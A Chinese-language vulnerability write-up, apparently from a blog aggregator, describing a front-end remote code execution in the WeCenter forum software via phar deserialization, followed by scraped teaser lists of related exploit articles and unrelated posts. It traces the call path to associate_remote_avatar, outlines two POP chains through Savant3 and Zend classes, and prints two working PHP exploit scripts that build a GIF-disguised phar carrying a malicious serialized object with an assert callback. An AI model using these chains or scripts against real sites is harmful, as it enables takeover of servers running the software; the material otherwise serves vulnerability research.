漏洞通过phar触发反序列化漏洞。

触发点:./models/account.php 中的 associate_remote_avatar 方法:

搜索全局调用了该方法的地方:

./app/account/ajax.php 路径中的 synch_img_action 方法:

从数据表 users_weixin中取出数据,想要控制此处,就必须要控制这个表。

再次全局搜索 users_weixin 找insert,update等操作。

./models/openid/weixin/weixin.php

再搜索调用 bind_account 方法:

./app/m/weixin.php 中的 binding_action 方法:

触发rce 的pop链:

./system/Savant3.php 中的 __toString 方法:

先查看isError方法:

只要传入的参数 $obj instanceof Savant3_Error 即可返回true。

再次跟进上面的 fetch 方法:

再次回到最初的 getoutput 方法:

跟进escape方法:

再次寻找一处能触发__toString 的链:

./system/Zend/Mail/Transport/Smtp.php 中的 析构方法:

exp:

<?php

class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
} class Zend_Mail_Transport_Abstract{}
class Zend_Mail_Transport_Smtp extends Zend_Mail_Transport_Abstract
{
protected $_connection;
public function __construct(){
$this->_connection = new Zend_Mail_Protocol_Smtp;
}
}
class Zend_Mail_Protocol_Abstract{}
class Zend_Mail_Protocol_Smtp extends Zend_Mail_Protocol_Abstract
{
protected $_sess = true;
protected $_host;
public function __construct(){
$this->_host = new Savant3;
}
} $obj = new Zend_Mail_Transport_Smtp;
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头
$phar->setMetadata($obj); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

还有一条能触发__toString 的pop链:

./system/Zend/Http/Response/Stream.php 中的析构函数:

unlink,file_exists等函数都是可以触发__toString 的。

exp:

<?php
class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
}
class Zend_Http_Response{}
class Zend_Http_Response_Stream extends Zend_Http_Response
{
protected $_cleanup = 1;
protected $stream_name;
public function __construct()
{
$this->stream_name = new Savant3;
}
}

即可直接造成rce漏洞,因为php >= 7 assert不再是函数,导致不能回调了。

文章参考:

https://xz.aliyun.com/t/7077

http://www.yulegeyu.com/2020/01/22/WECENTER-%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%88%A9%E7%94%A8%E9%93%BE/

WeCenter (最新版) 前台RCE漏洞 (2020-02-22)的更多相关文章

  1. 某cms最新版前台RCE漏洞(无需任何权限)2020-03-15

    漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法: 错误的使用了public,导致我们可以直接外部访问. 然后使用了 ...

  2. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

  3. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  4. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  5. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  6. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  7. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  8. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  9. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

随机推荐

  1. env: python3: No such file or directory exit status 127 FER ESPectro Core 编译出错

    苹果电脑安装了Arduino,布置ESP8266开发环境,编译程序过程中出现错误: env: python3:No such file or directoryexit status 127为开发板 ...

  2. Kafka体系架构、命令、Go案例

    原文地址:https://github.com/WilburXu/blog/blob/master/kafka/Kafka基本架构和命令.md Kafka体系架构 Broker服务代理节点 服务代理节 ...

  3. 自动化运维工具-Ansible之2-ad-hoc

    自动化运维工具-Ansible之2-ad-hoc 目录 自动化运维工具-Ansible之2-ad-hoc Ansible ad-hoc Ansible命令模块 Ansible软件管理模块 Ansibl ...

  4. MySQL更新勿用and

    项目实战  一次错误的更新 更新前的数据 执行更新语句  然后我们查看下更新后的数据,发现居然数据为空? 使用主键id的方式查询这条数据,发现需要更新的手机号码居然变为了0 当我们把更新语句中的and ...

  5. C#扫盲篇(一):反射机制--情真意切的说

    在一线编码已有多年,积累了不少非常实用的技能,最近的更新会逐步的分享出来,希望能帮助到还有一丢丢喜欢.Net的朋友,当然这些都比较适合入门选手,虽然自己已是个精通抄代码的老猿,但技术造诣仍是渣渣. 犹 ...

  6. LRU缓存的实现

    文章目录 LRU简介 LRU算法分析 实现代码 节点类 双向链表 LRUCache类 测试类 总结 LRU简介 LRU是"Least Recently Used"的简写,意思是最近 ...

  7. nginx: [emerg] bind() to 0.0.0.0:80 failed (10013:

    问题出现 今天在win10安装nginx时候,启动nginx.exe时在dos窗口出现了这个错误,特此记录一下. 解决方法 上面报错信息的意思大概是:0.0.0:80地址访问不被允许.可能是80端口号 ...

  8. js的函数-function

    function函数 function的英文是[功能],[数] 函数:职责:盛大的集会的意思 在js里,就是函数的意思.在Java里叫做方法. 定义函数 function fun(参数){ //函数体 ...

  9. 【JS学习】for-in与for-of

    前言:本博客系列为学习后盾人js教程过程中的记录与产出,如果对你有帮助,欢迎关注,点赞,分享.不足之处也欢迎指正,作者会积极思考与改正. 总述: 名称 遍历 适用 for-in 索引 主要建议白能力对 ...

  10. kubernets之secret资源

    一  对于一些保密度比较高的文件,k8s又是如何存储的呢? 针对那些保密度比较高的配置文件,例如证书以及一些认证配置不能直接存储在configmap中,而是需要存储在另外一种资源中,需要对存储在里面的 ...